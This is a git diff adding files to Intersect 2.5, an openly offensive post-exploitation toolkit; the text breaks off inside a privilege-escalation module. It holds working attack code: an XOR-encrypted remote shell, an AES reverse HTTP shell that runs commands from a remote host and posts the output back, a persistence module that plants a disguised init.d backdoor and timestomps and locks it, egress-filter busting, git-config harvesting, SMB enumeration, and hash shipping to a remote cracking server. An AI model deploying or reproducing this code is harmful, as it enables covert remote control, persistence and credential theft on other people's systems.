b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README @@ -0,0 +1,18 @@ +The XMLRPC Cracking Utility is originally written by Stephen Haywood aka AverageSecurityGuy +You can find the original version at https://github.com/averagesecurityguy/crack/ + +Important! This module has not been fully tested so there may be some bugs. If you find anything wrong with this, please let me know. + +Instructions: + +When you build your custom Intersect script, you will be asked to define a Remote Host (your XML servers IP) and a Remote Port (the XML servers port). +Make sure you start crackserver.py with the correct host and port information before you attempt to run XMLCrack on the target host side. + +Edit the crack.cfg file to suit you specific needs. There are instructions within crack.cfg that explain how you should do this. + +1) Start your CrackServer.py XMLRPC server +2) Run "./Script.py --xmlcrack filename hashtype" on the target system +3) The target system will open an XMLRPC connection to the system running CrackServer.py +4) The target system will serve up the specified file and the specified hash type +5) The CrackServer will use Crack.py and Crack.cfg to attempt to crack the hashes within the specified file + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg new file mode 100644 index 0000000..2a85f17 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg @@ -0,0 +1,44 @@ +#Configuration file for CrackManager +# +#Each line of the file defines the type of password to crack and the command +#used to crack it. Multiple commands can be defined for each password type. +#The commands will be tried in order from top to bottom. Each command line +#should define include the {file} and {output} tags in the appropriate places. +# +#To simplify some of the code we define two hash types of pwdump and dcc. +#Commands associated with the pwdump type must accept a file in pwdump format. +#Commands associated with dcc should accept a file in the hash:username format, +#similar to hashcat. +# +#Example +#pwdump|rcracki_mt.exe -f {file} -t 4 -o {output} tables\lm +#ntlm|hashcat -m 1000 {file} lists\rockyou.txt -r rules\best64.rule +#ntlm|hashcat -m 1000 {file} lists\rockyou.txt -r rules\d3ad_one-28k.rule +#dcc|hashcat -m 1100 {file} lists\english_6 -r rules\best64.rule + +#pwdump files +#pwdump|jtr/run/john --single {file} +pwdump|rcracki/rcracki_mt -f {file} -t 4 tables/lm + +#DCC files +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/d3ad0ne_23.8K.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/d3ad0ne_23.8K.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/d3ad0ne_23.8K.rule + +#ntlm hashes +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/rockyou.txt -r /rules/best64.rule diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py new file mode 100644 index 0000000..186afdc --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py @@ -0,0 +1,233 @@ +#!/usr/bin/python +# Copyright 2011 Stephen Haywood aka AverageSecurityGuy +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# crack.py defines a CrackManager object and a CrackThread object, which +# are used to receive and process password cracking requests. +# + +import subprocess +import shlex +import threading +import os +import time +import re +import traceback + +#----------------------------------------------------------------------------- +# CrackThread Class +#----------------------------------------------------------------------------- +class CrackThread(threading.Thread): + """Takes an id, hash type, a hash list, and a list of commands. The hash + list should be in username:hash format except for pwdump and dcc hash + lists, which are special cases. The hash list is processed to extract + usernames and is then written to the disk to be used by each command. After + each command is run the results are processed, added to the results array, + and the cracked hashes are removed from the hash file.""" + + def __init__(self, id, hash_type, hash_list, commands): + threading.Thread.__init__(self) + self.id = id + self.hash_type = hash_type + self.hash_list = hash_list + self.commands = commands + self.hash_file = id + '.hash' + self.results = [] + self.hashes = {} + self.complete = False + + def __del__(self): + """Remove the temporary hash file""" + os.remove(self.hash_file) + + def process_hash_list(self): + """Process the file passed to us and extract the usernames, then write + the file to disk for processing by the commands. Pwdump files and DCC + files are special cases. The typical input should be username:hash""" + + if self.hash_type == 'pwdump': + for line in self.hash_list: + user, id, lm, ntlm, a, b, c = line.split(':') + self.hashes[lm.lower()] = user + + self.write_file() + + elif self.hash_type == 'dcc': + for line in self.hash_list: + dcc, user = line.split(':') + self.hashes[dcc.lower()] = user + + self.write_file() + + else: + hashes = [] + for line in self.hash_list: + user, hash = line.split(':') + self.hashes[hash.lower()] = user + hashes.append(hash.lower()) + + self.write_file(hashes) + + def remove_found_hash(self, hash): + """Remove the found hash from the hash list, which will be rewritten to + the disk. This prevents us from cracking the same password twice.""" + + del self.hashes[hash] + for line in self.hash_list: + if re.search(hash, line): + self.hash_list.remove(line) + + def process_user(self, user, password): + """Writes the username, hash and password to the results array. Finds + the hash using the user. After the results are written, we remove + the found hash from the hash file on disk.""" + + if user in self.hashes.itervalues(): + for k, v in self.hashes.iteritems(): + if v == user: + self.results.append(user + ':' + k + ':' + password) + self.remove_found_hash(hash) + + def process_hash(self, hash, password): + """Writes the username, hash and password to the results array. Finds + the user using the hash. After results are written, we remove the found + hash from the hash file on the disk.""" + + if hash in self.hashes.iterkeys(): + self.results.append(self.hashes[hash] + ':' + hash + ':' + password) + self.remove_found_hash(hash) + + def process_output(self, output): + """Uses regular expressions to find hashes and passwords in results and + passes them to either the process_hash or process_user function. Pwdump + and DCC results are different than typical results for other hash types + so I have separated them as special cases. I have REs for outputs from + common programs such as rcracki and hashcat. Other REs may need to be + added for outputs from other programs.""" + + if self.hash_type == 'pwdump': + # All REs here should be for proccessing results of pwdump commands + # RE for output from rcracki_mt + for r in re.finditer("([A-Za-z0-9.]+)\s+(.?)\s+hex:.*", output): + self.process_user(r.group(1), r.group(2)) + + elif self.hash_type == 'dcc': + #All REs here should be for processing results of dcc commands + # RE for DCC output for hashcat family + for r in re.finditer("([0-9a-f]{16,}):.*:(.*)", output): + self.process_hash(r.group(1), r.group(2)) + else: + # RE for standard output for hashcat family + for r in re.finditer("([0-9a-f]{16,}):(.*)", output): + self.process_hash(r.group(1), r.group(2)) + + def write_file(self, hashes=None): + """Write the hashes to a file for use by the cracking commands.""" + if hashes == None: + hashes = self.hash_list + + f = open(self.hash_file, 'w') + for line in hashes: + f.write(line + '\n') + f.close() + + def fix_cmd(self, cmd): + for c in xrange(len(cmd)): + if cmd[c] == '{file}': cmd[c] = self.hash_file + return cmd + + def run(self): + """For each command, process the hash_list, modify the command to + include the correct file name on disk, and run the command. Once the + command is run, we process the output, which include updating the hash + list to remove found hashes.""" + + for cmd in self.commands: + self.process_hash_list() + cmd = self.fix_cmd(cmd) + self.process_output(subprocess.check_output(cmd)) + + self.complete = True + + +#------------------------------------------------------------------------------ +# CrackManager Class +#------------------------------------------------------------------------------ +class CrackManager(): + + def __init__(self, config): + self.config = {} + self.load_cfg(config) + self.processes = {} + + def load_cfg(self, config): + """Load configuration file. Blank lines and comments are skipped. + Confirms each command exists but does not confirm the arguments to the + command.""" + try: + cfgfile = open(config, 'r') + for line in cfgfile: + if re.match('^$', line): continue + if re.match('^#.*$', line): continue + h, c = line.split('|') + cmd = shlex.split(c.rstrip('\r\n')) + + # Split off the command so we can verify it exists. + if os.path.exists(cmd[0]): + if h in self.config.keys(): + self.config[h].append(cmd) + else: + self.config[h] = [] + self.config[h].append(cmd) + else: + raise Exception("Command {0} does not exist.".format(cmd[0])) + + except Exception, err: + raise Exception("Error loading configuration file: \n{0}\n{1}\n".format(str(err), traceback.print_exc())) + + def crack_passwords(self, hlist, htype): + """Accepts an array and hash type from the xmlrpc client. Creates an id + and a CrackThread object and passes the id, array, and hash type to it. + Returns the id so that results can be obtained later. + + If a hash type is not supported by the server then it returns id 0.""" + + id = 0 + message = '' + if htype in self.config.iterkeys(): + id = str(int(time.time())) + message = "Request accepted by server." + self.processes[id] = CrackThread(id, htype, hlist, self.config[htype]) + self.processes[id].start() + else: + message = "Server does not support the hash type requested." + + return id, message + + def get_progress(self, id): + """Accepts an id and provides the results for the CrackThread with that + id. Gets a copy of the results and clears them to prevent duplicates. + If the process is complete, it is removed from the process dictionary. + Returns completion status and current results.""" + + r = self.processes[id].results + self.processes[id].results = [] + + c = self.processes[id].complete + if c: + #If the thread is complete remove CrackThread from processes dict + del(self.processes[id]) + + return c, r diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py new file mode 100644 index 0000000..4f66a3e --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py @@ -0,0 +1,61 @@ +#! /usr/bin/python +# Copyright 2011 Stephen Haywood aka AverageSecurityGuy +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Crackserver uses the crack.py module to setup a XMLRPC server to handle +# password cracking requests. +# + +import SimpleXMLRPCServer as sxml +import crack +import argparse + +desc = """Crackserver uses the crack.py module to setup a XMLRPC server to +handle password cracking requests.""" + +parser = argparse.ArgumentParser(description=desc) +parser.add_argument('-l', action='store', default='127.0.0.1', + help='IP address to listen on. (default: 127.0.0.1)') +parser.add_argument('-p', action='store', default='8000', + help='Port to listen on. (default: 8000)') +parser.add_argument('-c', action='store', default='crack.cfg', + help='Configuration file. (default: crack.cfg)') + +args = parser.parse_args() + +# Create new CrackManager object to handle cracking process. +try: + c = crack.CrackManager(args.c) + print "CrackManager configured successfully" +except Exception, err: + print "CrackManager configuration unsuccessful:\n" + print str(err) + exit() + +try: + server = sxml.SimpleXMLRPCServer((args.l, int(args.p)), + requestHandler=sxml.SimpleXMLRPCRequestHandler) + print "XMLRPC server configuration successful." +except Exception, err: + print "XMLRPC server configuration unsuccessful:\n" + print str(err) + exit() + +# Register CrackManager functions to be used with by XMLRPC client. +server.register_introspection_functions() +server.register_function(c.crack_passwords, 'crack') +server.register_function(c.get_progress, 'results') +server.serve_forever() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py b/Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py new file mode 100644 index 0000000..2429485 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py @@ -0,0 +1,87 @@ +#!/usr/bin/python + +# Intersect 2.5 +# XOR Shell Client +# trial version. don't expect this to work all that well. + +import os, sys +import socket +from subprocess import Popen,PIPE,STDOUT,call + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + +socksize = 4096 +conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) + pin = sys.argv[3] + +except IndexError: + print("You must specify an IP address, port and XOR cipher key.") + print("usage: ./tcp-client.py 192.168.1.4 4444 KEY") + sys.exit() + +try: + conn.connect((HOST, PORT)) + print("[+] New connection established!") + print("[+] Starting Intersecting shell....") + print("[+] Type ':help' to view all available commands") +except: + print("[!] Connection error!") + sys.exit(2) + +while True: + data = conn.recv(socksize) + data2 = xor(data, pin) + msg = raw_input(data2) + cmd = xor(msg, pin) + conn.sendall(str(cmd)) + if msg == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif msg.startswith(':download'): + getname = msg.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, pin) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif msg.startswith(':upload'): + getname = msg.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, pin) + conn.sendall(senddata) + elif msg == (":exec"): + print("Feature not yet fully implemented!") + elif msg == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + +conn.close() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py new file mode 100644 index 0000000..ef45dc2 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py @@ -0,0 +1,108 @@ +#!/usr/bin/python + +# Intersect 2.5 +# XOR Shell Listener +# trial version. don't expect this to work all that well. + +import os, sys +import socket +import time + +activePID = [] +socksize = 4096 + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) + pin = sys.argv[3] +except IndexError: + print("You must specify an IP address, port and XOR cipher key.") + print("usage: ./tcp-client.py 192.168.1.4 4444 KEY") + sys.exit() + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) +server.bind((HOST, PORT)) +server.listen(5) +print("Listening on port %s for 5 connetions..." % PORT) + + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + +def accept(): + while 1: + conn, addr = server.accept() + print "[!] New connection!" + reaper() + childPid = os.fork() + if childPid == 0: + handler(conn) + else: + activePID.append(childPid) + +def handler(conn): + time.sleep(3) + + while True: + data = conn.recv(socksize) + data2 = xor(data, pin) + msg = raw_input(data2) + cmd = xor(msg, pin) + conn.sendall(str(cmd)) + if msg == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif msg.startswith(':download'): + getname = msg.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, pin) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif msg.startswith(':upload'): + getname = msg.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, pin) + conn.sendall(senddata) + elif msg == (":exec"): + print("Feature not yet fully implemented!") + elif msg == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + + conn.close() + os._exit(0) + +accept() + diff --git a/Intersect-2.5/Tools/md5crack.py b/Intersect-2.5/Tools/md5crack.py new file mode 100644 index 0000000..85c43a7 --- /dev/null +++ b/Intersect-2.5/Tools/md5crack.py @@ -0,0 +1,66 @@ +#!/usr/bin/python +# This script uses a bruteforce method to crack MD5 hashes +# If the password length is longer than ~10 characters, it could take a considerable time to crack +# Also, this code can be very CPU intensive if you are running it for long periods of time +# or running several instances at once. Be kind to it, it just a proof of concept. + +import itertools +import sys +import hashlib +import time + +lower = 'abcdefghijklmnopqrstuvwxyz' +upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +lowup = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' +numbers = '1234567890' +lownum = 'abcdefghijklmnopqrstuvwxyz1234567890' +upnum = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' +all = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' + +def brutecrack(): + length = int(sys.argv[2]) + 1 + + if sys.argv[1] == '-l': + final = lower + elif sys.argv[1] == '-U': + final = upper + elif sys.argv[1] == '-n': + final = numbers + elif sys.argv[1] == '-aA': + final = lowup + elif sys.argv[1] == '-ln': + final = lownum + elif sys.argv[1] == '-Un': + final = upnum + elif sys.argv[1] == '-all': + final = all + + for i in range(1,length): + for p in itertools.product(final, repeat=i): + crack = ''.join(p) + m = hashlib.md5() + m.update(crack) + if m.hexdigest() != sys.argv[3]: + print "[X] Failed attempt => ",crack + + + else: + print "[!] Success => ", crack + sys.exit() + +def main(): + if len(sys.argv) <=1: + print '''\nMD5-Crack :\n +python md5crack.py -all 10 5f4dcc3b5aa765d61d8327deb882cf99 +-l | Lowercase Only +-U | Uppercase Only +-n | Numbers Only +-ln | Alphanumeric(lower) +-Un | Alphanumeric(upper) +-all | All of Above\n''' + sys.exit(1) + else: + brutecrack() + +if __name__ == "__main__" : + main() diff --git a/Intersect-2.5/Tools/tabnanny.py b/Intersect-2.5/Tools/tabnanny.py new file mode 100644 index 0000000..286a116 --- /dev/null +++ b/Intersect-2.5/Tools/tabnanny.py @@ -0,0 +1,21 @@ +#!/usr/bin/python + +import tabnanny +import sys, os + +if len(sys.argv) <=1: + print("Tabnanny Helper Script") + print("What:\nThis script checks for the existence of tabs and indents within a specified Python script.") + print("Why:\nPython is a crappy whitespace language and will throw errors if you mix spaces and tabs.") + print("How:\nEnter the filename that you would like to check. Review it. Proceed to curse Python and then go write some Ruby.") + print("usage: ./tabnanny.py filename") + sys.exit() + +filename = sys.argv[1] + + + +file = open(filename) +for line in file.readlines(): + print repr(line) + diff --git a/Intersect-2.5/src/Modules/local/Custom/aeshttp b/Intersect-2.5/src/Modules/local/Custom/aeshttp new file mode 100644 index 0000000..4ab0511 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/aeshttp @@ -0,0 +1,57 @@ + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + log_msg("\n\n [ Reverse AES HTTP shell executed ] ") + log_msg("\n Start Time: %s" % logtime) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + diff --git a/Intersect-2.5/src/Modules/local/Custom/egressbuster b/Intersect-2.5/src/Modules/local/Custom/egressbuster new file mode 100644 index 0000000..319ccbe --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/egressbuster @@ -0,0 +1,46 @@ + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + log_msg("\n\n [ Executed Egress Buster ]") + log_msg("\n Start Time: %s" % logtime) + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + diff --git a/Intersect-2.5/src/Modules/local/Custom/getrepos b/Intersect-2.5/src/Modules/local/Custom/getrepos new file mode 100644 index 0000000..2fc74c5 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/getrepos @@ -0,0 +1,42 @@ + +def getrepos(): + ''' + @description: Tries to find various source code repositories and management tools. Git, SVN. + @author: ohdae [bindshell@live.com] + @short: search for source code repos + ''' + log_msg("\n\n [ GetRepos Module Executed ]") + log_msg("\n Start Time: %s" % logtime) + + maketemp("repos") + repodir = (Temp_Dir+"/repos") + os.chdir(repodir) + + users() + + if whereis('git') is not None: + os.system("find %s -name *.git > UserRepos.txt" % Home_Dir) + for user in userlist: + if os.path.exists("/home/%s" % user) and os.access("/home/%s" % user, os.R_OK): + os.system("find /home/%s -name *.git > %sRepos.txt" % (user, user)) + if os.path.exists("/home/%s/.gitconfig" % user): + proc = Popen('cat /home/%s/.gitconfig' % user, + shell=True, + stdout=PIPE, + ) + config = proc.communicate()[0] + writenew("GitConfigs.txt", config) + + if currentuser == "root": + if os.path.exists("%s/.gitconfig" % Home_Dir): + proc = Popen("cat %s/.gitconfig" % Home_Dir, + shell=True, + stdout=PIPE, + ) + rootconf = proc.communicate()[0] + writenew("GitConfigs.txt", rootconf) + + if whereis('svn') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("/usr/bin/find /home/%s -name *.svn > SvnRepos.txt" % user) diff --git a/Intersect-2.5/src/Modules/local/Custom/icmpshell b/Intersect-2.5/src/Modules/local/Custom/icmpshell new file mode 100644 index 0000000..ad9a107 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/icmpshell @@ -0,0 +1,2 @@ + +# Module coming soon. Starts an ICMP shell on the target system. diff --git a/Intersect-2.5/src/Modules/local/Custom/openshares b/Intersect-2.5/src/Modules/local/Custom/openshares new file mode 100644 index 0000000..637bd1f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/openshares @@ -0,0 +1,35 @@ + +def openshares(): + ''' + @description: Uses smbclient to find open SMB shares on a specified host. Usage: ./Intersect.py --openshares 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: find open SMB shares + ''' + ipaddr = sys.argv[2] + + if whereis('smbclient') is None: + print("[!] SMBClient cannot be found on this system!") + sys.exit() + + else: + print("[+] Enumerating open shares....\n") + log_msg("\n\n [ SMB Shares Module executed ]") + log_msg("\n Start Time: %s" % logtime) + + os.popen("/usr/bin/smbclient -L %s -N" % ipaddr) + + getdisks = os.popen(r'/usr/bin/smbclient -L %s -N 2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//" | sed -e "s/^[ \t]*//"' % ipaddr) + disks = getdisks.readlines() + disks = filter(None, disks) + disks = [d.strip() for d in disks] + getdisks.close() + + for disk in disks: + proc = Popen('/usr/bin/smbclient //%s/"%s" -N -c "dir;exit" 2>/dev/null'%(ipaddr,disk), + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + print("[+] Contents of %s " % disk) + print output + diff --git a/Intersect-2.5/src/Modules/local/Custom/persistent b/Intersect-2.5/src/Modules/local/Custom/persistent new file mode 100644 index 0000000..da46d06 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/persistent @@ -0,0 +1,82 @@ + +def persistent(): + ''' + @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot. + @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking + @short: install persistent backdoor + ''' + header = " => " + print("Select option: ") + print("1. Add new service") + print("2. Remove existing persistence") + option = raw_input("%s " % (header)) + + if option == '1': + addpersist() + elif option == '2': + if os.path.exists("/etc/init.d/sysupd") is True: + print("[+] Removing Intersect persistence...") + if whereis('chattr') is not None: + os.system("chattr -i /etc/init.d/sysupd") + os.system("chattr -i /etc/default/sysupd") + os.system("rm /etc/init.d/sysupd") + os.system("update-rc.d sysupd remove") + os.system("rm /etc/default/sysupd") + print("[+] Persistent shell successfully removed!") + log_msg("\n\n [ Removed Persistent Service ]") + log_msg("\n Start Time: %s" % logtime) + else: + print("[!] No existing persistent shell found!") + else: + print("[!] Invalid option! Enter '1' or '2'") + + +def addpersist(): + header = " => " + print("Full path of your Intersect script: ") + currentfile = raw_input("%s " % (header)) + + if os.path.exists(currentfile) is True: + shutil.copy2(currentfile, "/etc/default/sysupd") + else: + print("[!] Incorrect file path, Try again!") + persistent() + + + print("Specify which shell to use: ") + shell = raw_input("%s " % (header)) + + if shell in modList is False: + print("[!] Shell module not loaded!") + persistent() + else: + if os.path.isdir("/etc/init.d"): + serwrite = open("/etc/init.d/sysupd", "w") + serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell) + serwrite.close() + os.system("chmod +x /etc/init.d/sysupd") + os.system("update-rc.d sysupd defaults") + print("[+] Persistent service installed.") + print("[+] Modifying accessed and modified times on shell files.") + copystat = os.stat('/etc/init.d/rcS') + os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime)) + os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime)) + print("[+] Attempting to lock down shell files...") + if whereis('chattr') is not None: + status = os.system("chattr +i /etc/default/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + status = os.system("chattr +i /etc/init.d/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + else: + print("[!] Chattr not found. Could not lock files.") + + print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.") + + log_msg("\n [ Installed Persistent Service ]") + log_msg("\n Start Time: %s" % logtime) + + + + diff --git a/Intersect-2.5/src/Modules/local/Custom/portscan b/Intersect-2.5/src/Modules/local/Custom/portscan new file mode 100644 index 0000000..0e0b28b --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/portscan @@ -0,0 +1,22 @@ + +def portscan(): + ''' + @description: Very simple port scan. Scans ports 1 - 1000 on specified IP. Best used against LAN hosts. Usage: ./Intersect.py -p 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: port scanner (-p ) + ''' + if len(sys.argv) <=2: + print("[!] Must specify an IP address!") + Shutdown() + + ipaddr = sys.argv[2] + print("[+] Starting portscan of: %s " % ipaddr) + + for i in range(1, 1000): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + result = s.connect_ex((ipaddr, i)) + if(result == 0) : + print("[+] Port open %d " % (i,)) + s.close() + diff --git a/Intersect-2.5/src/Modules/local/Custom/privesc b/Intersect-2.5/src/Modules/local/Custom/privesc new file mode 100644 index 0000000..7986859 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/privesc @@ -0,0 +1,96 @@ + +def fix_version(version): + ''' + @description: Checks for the Linux kernel for the existence of possible privilege escalation exploits. Provides CVE and download link if available. + @author: original code by Bernardo Damele + @short: identify priv-esc vulns + ''' + split_version = 